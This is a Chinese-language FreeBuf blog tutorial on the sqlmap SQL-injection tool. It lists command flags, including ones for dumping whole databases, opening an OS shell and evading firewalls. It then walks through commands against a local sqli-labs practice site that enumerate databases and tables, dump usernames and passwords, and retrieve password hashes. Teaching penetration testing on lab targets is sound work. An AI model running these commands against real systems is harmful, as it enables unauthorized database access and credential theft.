freeBuf
sqlmap使用
2023-03-08 15:24:52
所属地 河南省

sqlmap介绍

1.sqlmap简介

sqlmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。目前支持的数据库有MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access等大多数据库。

2.sqlmap下载

Sqlmap下载地址:https://sqlmap.org/

1678259813_64083665e8c2ae19cb554.png!small?1678259811765

3.sqlmap使用

注:sqlmap使用需要配置python环境 推荐使用python2.7或者3.9版本

常用命令

-u 指定目标URL (可以是http协议也可以是https协议)
-d 连接数据库
–dbs 列出所有的数据库
–current-db 列出当前数据库
–tables 列出当前的表
–columns 列出当前的列
-D 选择使用哪个数据库
-T 选择使用哪个表
-C 选择使用哪个列
–dump 获取字段中的数据
–dump-all 拖库
–batch 自动选择yes
–smart 启发式快速判断,节约浪费时间
–forms 尝试使用post注入
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
-o 开启所有默认性能优化
–tamper 调用脚本进行注入
-v 指定sqlmap的回显等级
–delay 设置多久访问一次
–os-shell 获取主机shell,一般不太好用,因为没权限
-m 批量操作
-c 指定配置文件,会按照该配置文件执行动作
-data data指定的数据会当做post数据提交
-timeout 设定超时时间
-level 设置注入探测等级共有五个等级,默认为1级, 这个参数不仅影响使用哪些payload同时也会影响测试的注入点,GET和POST的数据都会测试,HTTP Cookie在level为2的时候就会测试,HTTP User-Agent/Referer头在level为3的时候就会测试。总之在你不确定哪个payload或者参数为注入点的时候,为了保证全面性,建议使用高的level值。
–is-dba 判断当前用户是否为数据库管理员权限
–risk 风险等级
–identify-waf 检测防火墙类型
–param-del=“分割符” 设置参数的分割符
–skip-urlencode 不进行url编码
–keep-alive 设置持久连接,加快探测速度
–null-connection 检索没有body响应的内容,多用于盲注
–thread 最大为10 设置多线程

–delay 有些web服务器请求访问太过频繁可能会被防火墙拦截,使用–delay就可以设定两次http请求的延时

–safe-url 有的web服务器会在多次错误的访问请求后屏蔽所有请求,使用–safe-url 就可以每隔一段时间去访问一个正常的页面。

–tamper 语法:–tamper [“脚本名称”]
当调用多个脚本的时候,脚本之间用逗号隔开,调用的脚本在 sqlmap文件夹下的 tamper 文件夹中

使用方法

1.打开salmap文件夹 在sqlmap文件夹 路径栏输入cmd打卡开cmd命令窗口

1678259929_640836d9ea4fcd061283e.png!small?1678259927562

2.sqlmap判断网站是否存在sql注入漏洞出现以下页面 就存在漏洞
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1”1678259978_6408370a1d24a6489a7a8.png!small?1678259975756

sqlmap查询获取当前用户下所有数据库
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --dbs

1678260004_64083724f0c29718007bc.png!small?1678260002673当前数据库
python sqlmap.py -v3 -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --current-db

1678260057_640837595a3116f31c9d5.png!small?1678260055089

取数据库表名
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D “security” --tables

1678260085_6408377508516272d4491.png!small?1678260083171

取字段名
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D “security” --tables -T “users” --columns

1678260104_64083788dcbd92c5f6305.png!small?1678260102482


取字段内容
python sqlmap.py -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” -D “security” --tables -T “users” -C “username,password” --dump

1678260124_6408379c9f2cd0a06c2f0.png!small?1678260122308

取数据库密码 如果当前用户有读取密码的权限就会列出密码的hash值 可以在线解密
python sqlmap.py -v3 -u “http://127.0.0.1/sqli-labs-master/Less-1/?id=1” --password

1678260160_640837c00d94caa36957f.png!small?1678260157712

还有其他一些用法大家可以自己探索一下,也可私我交流

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录